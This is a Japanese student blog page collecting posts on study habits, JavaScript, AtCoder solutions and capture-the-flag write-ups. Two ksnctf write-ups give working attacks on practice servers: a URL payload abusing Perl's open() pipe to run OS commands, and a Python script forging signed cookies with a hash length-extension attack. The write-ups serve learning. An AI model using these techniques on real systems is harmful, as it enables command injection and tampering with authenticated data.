読者です 読者をやめる 読者になる 読者になる

T2M_MJM

大学などで学んだことを真面目に書いていきます。

25分でわかるポモドーロ・テクニック 大学生活を添えて

  • これはなに?
  • はじめに
    • 計画的に勉強ができて成績も良い人へ
    • 計画的に勉強ができなくて成績があまり良くない人へ
    • それら以外の人へ
    • 本記事中の図について
    • まじめに
  • ポモドーロ・テクニックとは
    • ポモドーロ・テクニックのはじめかた
    • 自分を知るということ
      • プランニング
      • ラッキング
      • レコーディング
      • お仕事をゲームみたいにしていこう!
  • 大学生活と自己管理
    • 徹夜病の根絶
    • 卒業研究とポモドーロ
  • さいごに
  • おまけ 実際に使っているツールとサービス
続きを読む

C 言語しか触ったことない人向け JavaScript 入門

概要

  • 詳しいドキュメントはここ -> JavaScript | MDN
  • console.log(hoge) を使え
  • オブジェクトは便利
  • ファーストクラス関数を使いこなせるようになれ
続きを読む

AtCoder Beginner Contest 045 D 問題

勉強を兼ねて AtCoder Beginner Contest 045 の D 問題を解いたので、解くまでの経過も兼ねてメモ代わりに記事にしておきます。

abc045.contest.atcoder.jp

問題概要

白黒で塗りつぶされたマス目を、 3 * 3 の9マス領域を一纏まりとして走査していき、9マス中何マスが黒になっているのかを数え上げる問題です。

続きを読む

AtCoder Beginner Contest 046 D 問題

CTF と並行して、 AtCoder の問題によるアルゴリズムの勉強も習慣にしておこうと思っているので、先日解いた AtCoder Beginner Contest 046 D 問題について簡単な解答をまとめておきます。

abc046.contest.atcoder.jp

問題概要

グーとパーだけで行われ、かつグーを出した回数だけパーを出せるようなじゃんけんについての問題です。このじゃんけんで、相手の出す手が全てわかっている状態で、勝敗によって点数が1点ずつ上下する n 回勝負を行った場合に取りうる得点の最大値を求めます。

解答

答えから言ってしまうと、グーとパーを交互に出すことで得点が最大化されます。このじゃんけんは要するに「相手より何回パーを多く出したか」というのがそのまま得点数になり、したがって相手の出す手が何であれとにかくパーを多く出せば良いからです。

したがって、解答は以下のようなコードになります。

T = input()
A = ["gp"[i%2] for i in range(len(T))]
A = "".join(A)

point = 0
for t,a in zip(T,A):
    if t == "g" and a == "p":
        point += 1
    elif t == "p" and a == "g":
        point -= 1

print(point)

実際に解答に至るまでの諸々

これだけで話を終わらせてしまうのも味気ない(上に記録として全く意味を為さない)ので、実際に解答に至るまでにどのようなことをしたのかについて述べて記事を終わらせようと思います。

流れとしては、

  1. テストセットを生成するスクリプトを書く
  2. テストセットについて、(自分の手元で)得点数・それまでに出したグーとパーの数などの遷移を書き出す
  3. 最終的にパーを使い切っているものが得点を最大化する(ように見える)ことに気がつく

という手順で問題を解きました。数学的センスや知識があるともう少しきれいな手順で解けるかとも思います。勉強を積んだときにこの記事を読み返して自分で振り返ることが出来ると幸いです。

以下はテストセットを生成するスクリプトです。

import random
import itertools
import functools

def valid(testset):
    results = []
    for i in range(len(testset)+1):
        num_g = len(list(filter(lambda c: c is "g", testset[:i])))
        num_p = len(list(filter(lambda c: c is "p", testset[:i])))
        results.append(num_p <= num_g)
    return functools.reduce((lambda a,b: a & b), results)

def solve(testset):
    answers = []
    for answer in itertools.product("pg", repeat=len(testset)):
        if not valid(answer):
            continue
        point = 0
        for (T, A) in zip(testset, answer):
            if T == "g" and A == "p":
                point += 1
            elif T == "p" and A == "g":
                point -= 1
        answers.append((point, "".join(answer)))
    return max(answers)



testsets = []
for length in range(3,10):
    for i in range(100):
        testset = [("g","p")[random.randint(0,1)] for _ in range(length)]
        testset = "".join(testset)
        if testset not in testsets:
            testsets.append(testset)
testsets = filter(valid,testsets)

for t in testsets:
    print(t, solve(t))

ksnctf Sherlock Holmes writeup

ksnctf.sweetduet.info

問題

指定された英文を出力する、 perl で書かれたページをクラックする問題です。上部のメニューをクリックすると、 index.pl/{ファイル名} という形式のアドレスにアクセスしてテキストを表示させていることがわかります。ここで index.pl/index.pl にアクセスをすることで、サーバ上で動いている perlスクリプトを確認することができました。

表示されるスクリプトの内問題になるのは以下の2つの部分です。

# Can you crack me? :P
open(F,'cracked.txt');
my $t = <F>;
chomp($t);
if ($t eq 'h@ck3d!') {
print 'FLAG_****************<br><br>';
}
unlink('cracked.txt');
####
open(F,substr($ENV{'PATH_INFO'},1));

my $cgi = new CGI;
$cgi->charset('utf-8');
while(<F>) {
chomp;
s/FLAG_\w+/FLAG_****************/g;
print $cgi->escapeHTML($_)."<br>\n";
}

知識

1つ目の部分から、 index.pl と同じディレクトリに h@ck3d! という内容の cracked.txt が存在する時、フラグを出力していることがわかります。この問題では、サーバをクラックして cracked.txt をサーバ上に作成することが目的になります。

そのために重要になってくるのが2つ目の部分です。perl の open 関数には | ls -la のように、 | を渡されるとその後の文字列を OS コマンドとして実行するという問題があります*1

解答

これを利用して、 index.pl/ 以下に url エンコードで OS コマンドを与えることで、 cracked.txt を作成することができそうです。 以下のアドレスにアクセスした後、もう一度どこかのページを表示すれば、フラグが出力されます。

index.pl/%7Cecho%20h%40ck3d%5C%21%20%3E%20cracked.txt

ksnctf KanGacha writeup

ksnctf.sweetduet.info

問題

ソースコードが与えられた php のページに対して攻撃を仕掛ける問題です。

$shipname の 11 番目の要素である Yamato を出すことでフラグが獲得できますが、後述するように Gacha によって得られる艦娘は 1 ~ 10 番目の要素なので、いくら Gacha を連打しても Yamato は得られません。したがって、取得済み艦娘のデータを何らかの方法で改ざんすることが必要になります。これをするために、このページのコードを見てみましょう。

if (isset($_POST['submit']))
{
    //  Gacha
    if ($_POST['submit'] === 'Gacha')
    {
        //  Yamato is ultra rare
        $ship[] = mt_rand(0, count($shipname)-2);

        $s = implode(',', $ship);
        $sign = hash('sha512', $salt.$s);

        setcookie('ship', $s);
        setcookie('signature', $sign);
    }

    //  Clear
    if ($_POST['submit'] === 'Clear')
    {
        setcookie('ship', '', 0);
        setcookie('signature', '', 0);
    }

    header("Location: {$_SERVER['REQUEST_URI']}");
    exit();
}

問題の php のページには Gacha と Clear のボタンが配置されています。 Gacha を押すこと submit=Gacha のパラメータを POST します。この POST を受け取ると、ランダムに 0~9 の整数がクッキー($_COOKIE['ship'] )に追加され、 $_COOKIE['signature'] が事前に設定された文字列 $salt と $_COOKIE['ship'] を文字列結合した文字列 $salt.$_COOKIE{'ship'] の sha512 によるハッシュ値に上書きされます。その後クッキーの各要素の整数に対応した $shipname の要素がリストとして表示されます。したがって、この $_COOKIE['ship'] を改ざんすれば良いのですが、以下のようなチェックが行われているので、単純な改ざんでは不十分です。

//  Check signature and read
if (isset($_COOKIE['ship']) and
    isset($_COOKIE['signature']) and
    hash('sha512', $salt.$_COOKIE['ship']) === $_COOKIE['signature'])
    $ship = explode(',', $_COOKIE['ship']);
else
    $ship = array();

リクエストメソッドに関わらず、このページにアクセスした際にクッキーに対する不正が行われていないかチェックされます。$salt.$_COOKIE['ship'] の sha512 によるハッシュ値が、 $_COOKIE['signature'] と一致するかを確認されます。これが一致しなかった場合、 $ship (と $_COOKIE['ship'})は空配列で上書きされます。

知識

length-extension attack

結論からいうと、この php には signature の作成方法に問題があるため、 length-extension attack に対して脆弱性があるということのようです。

詳しい話の前に定義を述べますと、知識の森の資料*1より、length-extension attack とは、

反復形ハッシュ関数Hについて,H(M||M')がH(M)とM'のみから計算できるという性質を利用する攻撃である.ここで,M||M'はMとM'との連接を表す

ということらしいです。

ソースコードにおいて signature はハッシュ関数 {H} を用いて次のように定義されています。

{ \displaystyle
signature = H(salt \ || \  ship)
}

今回の問題においては H( salt || ship) と ",10" から、 H( salt || ship || ",10" ) が求められるので、クッキーに不正に Yamato を追加しても signature のチェックを誤魔化すことができるということになります。

このような length-extension attack を行うツールとしては、 HashPump が有名です。この問題もこれを使って解きました。

解答

import subprocess
import re

# セッションを接続するための準備
kangacha_url = "http://ctfq.sweetduet.info:10080/~q31/kangacha.php"
s= requests.Session()

# 一度ポストし、クッキーの情報を得る
r = s.post(kangacha_url, data = {"submit":"Gacha"})
data = s.cookies["ship"]
signature = s.cookies["signature"]

# hashpump を subprocess で呼ぶための準備
args = {}
args["data"] = data
args["signature"] = signature
args["key"] = 21
args["append"] = ",10"

cmd = "hashpump -s {signature} -k {key} -d {data} "
cmd += "-a {append}"
cmd = cmd.format(**args)

proc = subprocess.Popen(cmd.strip().split(" "), stdout=subprocess.PIPE)
out, err = proc.communicate()

# 得られた cookie を url エンコードにする
crack_signature, crack_data = out.decode("utf-8").strip().split("\n")
crack_data = crack_data.replace("\\x","%")

# cookie を変更して再接続
s.cookies.clear()
setargs = {"domain":"ctfq.sweetduet.info","path":"/~q31"}
s.cookies.set("ship",crack_data,**setargs)
s.cookies.set("signature",crack_signature,**setargs)
r = s.get(kangacha_url)

# Yamato がドロップしているので、フラグ部分を抜き出す。
m = re.search("Yamato \[(?P<flag>.*)\]", r.text)
print(m.group("flag"))

特筆するところがない感じがしますが、 requests で cookie を扱うのが少し面倒だったのと、 url エンコードにするのが思いつかずに苦戦していました。

資料

length-extension attack に関しては先程の知識の森の資料と、以下の資料が参考になりそうです。

SECCONに参加しました。(Write Upその他)

はじめに

今年のSECCONに参加させていただきました。
まだまだ自分の技術力や知識が不足していることもあり、結果は誇れるようなものではありませんでしたが、自分の現状を評価する意味でも拙いながらwrite upを書くことに致しました。
CTF初心者として参加したSECCONということで、これからCTFを始めようと思っている人の参考になれば幸いです。

参加の経緯

二月ほど前、高校の同期がCTF for beginnersに参加した話を聞き、その時にCTFに興味を持ち、始めました。
しばらくCTFの勉強をしていたところ、大学の先輩から「SECCONというCTFの大会があるから参加してみないか」と誘われ、参加した次第です!!

SECCON・CTFとは

CTFとはCapture The Flagという競技のことで、主にセキュリティ面での情報技術を競います。 形式としては、以下の様なものがあるらしい。

  • 攻防戦型
    チーム毎にコンピュータが割り当てられ、自チームのコンピュータを守りつつ敵チームのコンピュータをハックしフラッグを手に入れる。
  • クイズ型
    問題を解き、フラッグを見つけ出す。

今現在CTFは、コーディング技術を競う競技プログラミング、Webアプリケーション高速化のISUCON、そして随分一般的になったハッカソンなどと並んで有名な情報系技術競技ではないでしょうか。
今回参加したSECCONは日本で行われるCTFの大会です。中でも、そのオンライン予選に参加しました。

Write up

今回解けた問題は次の3問のみでした。

  • Steganography 1
  • Steganography 3
  • 4042 (こちらは解けたものの時間切れ)

全体として簡単な問題しか解くことができず、実力不足を痛感しました。  

Steganography 1

この問題はCTFの中でもSteganoと呼ばれるジャンルの問題です。
一見すると変哲も無い画像ファイルですが、然るべき手順を踏むことで情報が浮かび上がる、というような問題が多いようです。
今回解析する画像ファイルはこちら。

f:id:Tak_Yaz:20151206171500p:plain

はい。
ただのGIF画像っぽいです。
手に入れるフラッグはSECCON{hogehoge}の形で与えられるので、それの頭の部分という感じでしょうか。
とりあえず情報を見てみましょう。

f:id:Tak_Yaz:20151206171722p:plain

8MB。言うまでもなく、内容に比して異様な重さです。
このことから、この画像ファイルには現在表示されている以上の情報が含まれているのではないか、と考えられます。
とりあえず、バイナリエディタで開いてみましょう。

f:id:Tak_Yaz:20151206172106p:plain

ASCII表示したバイナリ文字列の中にPNGという文字列があるのがわかるでしょうか。
PNG形式のファイルは16進数の"504E47"というバイナリ(すなわち、ASCIIでPNG)から始まることになっています。
どうやら、このファイルには他にもPNGなどの画像ファイルが埋め込まれていそうです。
そこで、いったん仮想環境のKaliにファイルを移して、Bin walkというツールで解析をしました。

f:id:Tak_Yaz:20151206172813p:plain

様々な形式の画像がこのファイルに埋め込まれていることがわかります。
あとは、ddコマンドを用いて各ファイルをコピーしてあげると、次のようにフラッグを示す画像群を得ることが出来ました。

f:id:Tak_Yaz:20151206173252p:plain

Steganography 3

この問題の画像ファイルはこちら。

f:id:Tak_Yaz:20151206173342p:plain

唐突にバイナリファイルです。とりあえずバイナリエディタで眺めてみますが、他のファイルが埋め込まれたりはしていなさそう。
そこで、画像内で開かれているページを検索してみると、どうやら「0000 + 0000 = 8888」みたいなクイズについてのページでした。
数字にある丸の数がどうの、というやつですね。
さらに、右下にはペイントが開かれています。なので、とりあえず塗ります。

f:id:Tak_Yaz:20151206173742p:plain

できちゃいましたね。以上です。

4042

2005年の古代遺跡から謎の暗号が発見されました。解いてね。

というような問題とともに、やたら長いテキストファイルが渡されます。テキストファイルには数字がずっと並んでいました。
(ファイルは本稿の最後に載せておきます。)

流石に意味がわからないので、ファイル名のno networkと問題名4042、さらに2005で検索をすると、RFC4042という仕様書がヒットします。

https://www.ietf.org/rfc/rfc4042.txt

調べた所、これは2005年のエイプリルフールに作られたもので、UTF-8にかわるUTF-9という文字コードを提案した内容になっています。
UTF-9という名前から分かるように、9bitを一塊として送るという意味の分からない仕様になっています。
上の仕様書を読めば分かっていただけると思いますが、ざっくりというと、

  1. UTF-8のコードポイントをビット列にして、8bit毎に分ける。
  2. 先頭のビットは継続フラグとし、コードポイントが8bitで収まらない場合、すなわち次の8bitと繋がっているときは1にする。

これを元に、UTF-9データ列を通常のunicodeのコードポイントに変換するプログラムを書きます。

int in(char *input) {
  int len = strlen(input);
  int seq_flag;
  int x = 0;
  for(int j = 0; j < len/3; j++){
    int buf = 0;
    for (int i = 0; i < 3; i++) {
      buf += input[i + 3*j] - '0';
      if(i < 3 - 1){
        buf <<= 3;
      }else{
        seq_flag = buf&256;
        buf = buf&255;
      }
    }
    x = x | buf;
    if(seq_flag == 256){
      x = x<<8;
    }
    if(seq_flag != 256){
      printf("%d\n",x);
      x = 0;
    }
  }
  return x;
}

ご覧のとおり、急いで書いたのとビット操作に慣れていないのもあって随分と汚いコードになってしまいました。
このプログラムに与えられたテキストファイルを渡して、得られたコードポイントを元にunicodeに直すと次のような文章が得られます。

Ꮮⲟrеⅿ ірѕ∪ⅿ ⅾοⅼοr ѕіt ɑⅿеt, сഠᥒѕᥱсtеtᥙr ɑԁⅰрⅰѕіⅽⅰᥒɡ еⅼіt,
ѕеԁ ⅾо ᥱіᥙѕⅿഠⅾ tеⅿрⲟr іᥒϲіԁіԁᥙᥒt ᥙt ⅼаbഠrе еt ⅾоⅼഠrᥱ ⅿɑɡᥒɑ ɑⅼіqᥙа.
Ut еᥒіⅿ ɑԁ ⅿіᥒⅰⅿ ⋁ᥱᥒіɑⅿ‚ qᥙіѕ ᥒοѕtrᥙԁ еⅹᥱrϲⅰtɑtіⲟᥒ ᥙⅼⅼɑⅿϲо ⅼаbοrⅰѕ ᥒіѕⅰ ᥙt ɑⅼⅰqᥙⅰр ᥱⲭ ᥱа сοⅿⅿоԁο ⅽഠᥒѕеqᥙаt․ 
ᗪᥙіѕ ɑᥙtе іrᥙrе ⅾഠⅼഠr ⅰᥒ rᥱрrᥱһеᥒԁеrіt іᥒ ⋁οⅼᥙрtɑtе ∨еⅼіt еѕѕᥱ ϲⅰⅼⅼᥙⅿ ԁοⅼοrе еᥙ fᥙɡіɑt ᥒᥙⅼⅼа рɑrⅰаt∪r.
Εⅹϲᥱⲣtеᥙr ѕіᥒt οсϲɑᥱⅽаt ϲ∪ⲣіⅾɑtаt ᥒⲟᥒ ⲣrഠіⅾᥱᥒt,
ѕᥙᥒt ⅰᥒ сᥙⅼра qᥙⅰ оffіⅽіɑ ԁеѕеrᥙᥒt ⅿоⅼⅼⅰt ɑᥒіⅿ іⅾ еѕt ⅼɑbⲟr∪ⅿ․
Τһᥱ fⅼɑɡ ⅰѕ᛬ ЅΕⅭⲤОΝ{Α_ԌᎡⲞUΡˍОᖴ⚊ΝⅠΝΕˍВⅠΤᏚˍⅠᏚ_СᎪⅬⅬᎬⅮˍΝОΝЕΤ﹜ΝᏴ; Ρⅼеɑѕе ѕеᥒⅾ tһе fⅼɑɡ іᥒ ᥒⲟrⅿɑⅼ АᏚϹІⅠ ϲоԁе ︔﹚

……??
なんだかよくわからないけども、文学っぽい感じの某が得られました!
UTF-8への変換プログラムに問題があったのか、若干文字化けしてしまっていますが、flagが得られています。

まとめ

拙いWrite upでしたが、如何でしたでしょうか。

初心者の目線からのSECCONということで、なにか皆様の参考になれれば嬉しい限りです。

問題の解、結果の是非は置いておくとして、今回のSECCONに参加した感想としては、楽しいの一言に尽きます。

尊敬できる先輩方と一緒に問題に取り組み、自分がチームに貢献できた時の喜びは当然の事ながら、出題される問題の範囲が幅広いため参加して問題に取り組むだけで色んな知識を身につけることが出来たと思います。
今回私が解いたような、ちょっとしたナゾナゾのような問題もいくつかあったので、セキュリティのことがわからないよ、という人も楽しみながら勉強できるのではないでしょうか。

逆に心残りなのは、セキュリティに関する問題を解ききれなかった点です。
特にEntry formという問題でPerl脆弱性を理解するところまで行きながらフラッグを得ることが出来なかったのは口惜しい限りです。
これはやはり幅広いプログラミングの経験が必要になってくるので、もっと勉強しなくてはならないな、と感じました。

余談ですが、先輩方が私よりも高度な問題を解きながら「やはりCTFは勉強になる」と仰っていたのが非常に印象的で、先輩方でそうならば、自分はよりいっそう勉強をしなければならないなと痛感します。
同時に、自分も同じように後輩にモチベーションを与えられるような高い能力を持つ先輩になりたいものだと強く思いました。

以上が今回のSECCONの結果です。
非常に良い経験になりましたので、重ね重ね先輩方にお礼を申し上げると共に、CTFをご存知でなかった方にも強くCTFをお勧め致します。

4042のUTF-9データ

423336454237162404065441177440057404126404100404125442052441177240441176403277441 174403277162440006404125404126164440005402121441177404065164777014440000404101415 040431122404125431161404101164404065164431131162440010402121405001441160404100441 160404125404126441175441160431122402141440012404065441174404126164777014440003404 125404065405001440002441176404076240431161404126431131404125441177415040441176240 164404065441177404100454237162440006012404126431122403362404126405001404126405001 431131431122164440006431131164440006441174404060142415040162404065440057404065164 440012441176404076441174415040162431161440000441177402121402141431122402121440007 402121441174404126161431131404060777016440007125164440003404065431122404126441177 440011402121405001440012441177404126431122441160441177440001442301431161431122404 126402121441177440032440012161431131404126404125440005012431122403277404125164162 431131405001440000404065441171431161162403362441160164402121164404126454237431122 440137431131441174441174402121441177403362404076440007441174404060142403277162441 160404125440057431122404126404125441160440137431131164440002402121441174441160161 431131441160404100440137431161454255440012431161404060440006404101403277441177441 177404076405001403277440137441175415040431122404125404065161431131404060164440044 440003012425352431131404126404125440011402121431131164404065240404126162431131162 404065440007441176415040441174415040162440002441160431122240162431161404100162431 161404273404065431122405001404065162404126164440137404126431122440007442301403277 441174431131404100164402121164404065440007442050404065441174404126164440001404065 404125404125431161440001403362441160441174441174431131441177440001405001403277441 174403277162404065440007404065431131440010012146431131402141404126402121164240431 122431131441174441174404060440012404100402121162441160404060164442052162777016440 006403225441171403362431161454243164404065431131162440007404125404126431122164440 005403277404101403362402121431161441175404060164440001403362442052454243404126441 176402121164404060164440005431122454237431122440011454243162415040404126441176431 161431122164777014440005404125431131431122164440007441160431122440011012404101431 131441174404100404060440002161431131441160440011404076146146404126441175404126402 121440007405001404065404125404065162431131431122164440011441177404076441174441174 441160164240402121431122404126441177240404126441176440001404065404125164440010441 174402121142454237162442052441177440044012012403244404273431161240146441174402121 402141440010441160404125426354440000404005403225441155454244404036403235777133403 221777077405014423241454236125403241402315404036425264446212403235441140403235403 225402315404022441140403244423332402315441140423332777077404041423252441154441154 423254441156402315403235404036403235404025403244776134012012403235423364777033240 403241441174404065402121404125404065440010404125404065431122441176440003164404273 404065440004146441174402121402141440003404126431122440011431122454237162441177402 121441174440011404020423332403371404006441140440002403362404076405001404065440010 7760247761320012